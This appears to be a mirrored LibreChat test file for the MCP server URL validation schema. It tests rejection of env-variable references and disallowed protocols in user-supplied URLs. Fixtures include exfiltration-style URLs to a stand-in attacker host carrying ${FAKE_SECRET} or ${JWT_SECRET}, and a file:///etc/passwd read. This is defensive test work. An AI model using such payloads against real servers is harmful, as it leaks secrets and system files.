mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-03-15 20:26:33 +01:00
* fix: MCP server configuration validation and schema - Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes. - Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks. - Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application. * fix: MCP URL validation to reject env variable references - Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks. - Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs. - Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application. * test: Enhance MCPServerUserInputSchema tests for environment variable handling - Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema. - Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks. - Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
147 lines
4.7 KiB
TypeScript
147 lines
4.7 KiB
TypeScript
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
|
|
|
|
describe('MCPServerUserInputSchema', () => {
|
|
describe('env variable exfiltration prevention', () => {
|
|
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
|
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
const adminResult = SSEOptionsSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
});
|
|
expect(adminResult.success).toBe(true);
|
|
if (adminResult.success) {
|
|
expect(adminResult.data.url).toContain('leaked-secret-value');
|
|
}
|
|
delete process.env.FAKE_SECRET;
|
|
});
|
|
|
|
it('should reject the same URL through user input schema', () => {
|
|
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
const userResult = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
});
|
|
expect(userResult.success).toBe(false);
|
|
delete process.env.FAKE_SECRET;
|
|
});
|
|
});
|
|
|
|
describe('env variable rejection', () => {
|
|
it('should reject SSE URLs containing env variable patterns', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
|
|
it('should reject streamable-http URLs containing env variable patterns', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'streamable-http',
|
|
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
|
|
it('should reject WebSocket URLs containing env variable patterns', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'websocket',
|
|
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('protocol allowlisting', () => {
|
|
it('should reject file:// URLs for SSE', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'file:///etc/passwd',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
|
|
it('should reject ftp:// URLs for streamable-http', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'streamable-http',
|
|
url: 'ftp://internal-server/data',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
|
|
it('should reject http:// URLs for WebSocket', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'websocket',
|
|
url: 'http://example.com/ws',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
|
|
it('should reject ws:// URLs for SSE', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'ws://example.com/sse',
|
|
});
|
|
expect(result.success).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('valid URL acceptance', () => {
|
|
it('should accept valid https:// SSE URLs', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'https://mcp-server.com/sse',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
if (result.success) {
|
|
expect(result.data.url).toBe('https://mcp-server.com/sse');
|
|
}
|
|
});
|
|
|
|
it('should accept valid http:// SSE URLs', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'sse',
|
|
url: 'http://mcp-server.com/sse',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
});
|
|
|
|
it('should accept valid wss:// WebSocket URLs', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'websocket',
|
|
url: 'wss://mcp-server.com/ws',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
if (result.success) {
|
|
expect(result.data.url).toBe('wss://mcp-server.com/ws');
|
|
}
|
|
});
|
|
|
|
it('should accept valid ws:// WebSocket URLs', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'websocket',
|
|
url: 'ws://mcp-server.com/ws',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
});
|
|
|
|
it('should accept valid https:// streamable-http URLs', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'streamable-http',
|
|
url: 'https://mcp-server.com/http',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
if (result.success) {
|
|
expect(result.data.url).toBe('https://mcp-server.com/http');
|
|
}
|
|
});
|
|
|
|
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
|
|
const result = MCPServerUserInputSchema.safeParse({
|
|
type: 'http',
|
|
url: 'http://mcp-server.com/mcp',
|
|
});
|
|
expect(result.success).toBe(true);
|
|
});
|
|
});
|
|
});
|